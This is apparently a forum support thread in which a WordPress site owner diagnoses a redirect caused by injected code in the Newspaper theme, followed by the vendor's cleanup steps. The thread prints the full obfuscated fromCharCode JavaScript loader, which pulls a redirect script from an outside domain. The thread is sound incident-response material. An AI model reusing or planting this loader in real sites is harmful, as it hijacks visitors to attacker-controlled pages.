After many hours, I figured out why the page redirected, blame the script here, which is played out in the browser, but I can’t find the file where it was included:
blablalba fromCharCode(118,97,114,32,116,114,111,110,109,111,32,61,32,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66, 121,84,97,103,78,97,109,101,40,34,115,99,114,105,112,116,34,41,59,32,118,97,114,32,119,97,110,116,109,101,101,32,61,32,102,97,108,115,101,59,102, 111,114,32,40,118,97,114,32,105,32,61,32,48,59,32,105,32,60,32,116,114,111,110,109,111,46,108,101,110,103,116,104,59,32,105,43,43,41,32,123,32, 32,32,105,102,32,40,116,114,111,110,109,111,91,105,93,46,105,100,41,32,123,32,32,32,9,32,105,102,32,40,116,114,111,110,109,111,91,105,93,46,105, 100,32,61,61,32,34,115,108,111,119,112,111,105,110,116,34,41,123,32,9,9,119,97,110,116,109,101,101,61,116,114,117,101,59,32,9,32,125,32,32,32, 125,32,32,125,105,102,40,119,97,110,116,109,101,101,61,61,102,97,108,115,101,41,123,32,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59, 118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,105,100,61,34,115, 108,111,119,112,111,105,110,116,34,59,115,46,115,114,99,61,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49, 49,54,44,49,49,54,44,49,49,50,44,49,49,53,44,53,56,44,52,55,44,52,55,44,49,49,57,44,57,55,44,49,50,49,44,52,54,44,49,49,53,44,49,49,50,44,49, 48,49,44,57,57,44,49,48,53,44,57,55,44,49,48,56,44,57,56,44,49,48,56,44,49,49,55,44,49,48,49,44,49,48,53,44,49,49,54,44,49,48,49,44,49,48,57,44, 49,49,53,44,52,54,44,57,57,44,49,49,49,44,49,48,57,44,52,55,44,49,49,53,44,49,49,52,44,57,57,44,52,55,44,49,49,53,44,49,49,54,44,49,48,49,44,49, 49,50,44,52,54,44,49,48,54,44,49,49,53,44,54,51,44,49,49,56,44,54,49,44,53,48,44,52,54,44,52,56,44,52,57,41,59,32,105,102,32,40,100,111,99,117, 109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116, 83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109, 101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110, 116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,32,125)) so it´s an encoded js this loads the redirecting js from https://way.specialblueitems.com/src/step.js?v=2.0
This script load also on every subpage.
I have run several malware scanners, they have not found the actual cause.
The strange thing is, as soon as I downgrade the newspapers, the redirect malware script is gone.
As soon as I update to the newest version, the malware script loads again.
So I wonder how this happens. After an upgrade the original data is downloaded from the tagdiv server and installed. Where can this demonic stuff be stored in the database or in a file?
If you notice that the site redirects to other sites, it may be because of injected malware. We recommend you follow the steps below:
– Change admin passwords and delete admin accounts you are not familiar with;
– Delete any weird/unknown plugins;
– Delete the weird/unknown themes;
– Clean unfamiliar Theme Panel injected code (example – https://i.imgur.com/4q70kCv.png);
– Clean WordPress files (example – https://i.imgur.com/stJCqiK.png)
– Update the theme to the latest version, Newspaper 12.1.1
If you have gone through the steps above and are still facing issues, don’t hesitate to contact us via email at contact@tagdiv.com. We’ll be ready to help you as soon as possible.
Thank you!
– Clean unfamiliar Theme Panel injected code (example – https://i.imgur.com/4q70kCv.png);
I´ve found this code in the custom code, removed it, but the redirection is still on the page.
Problem solved.
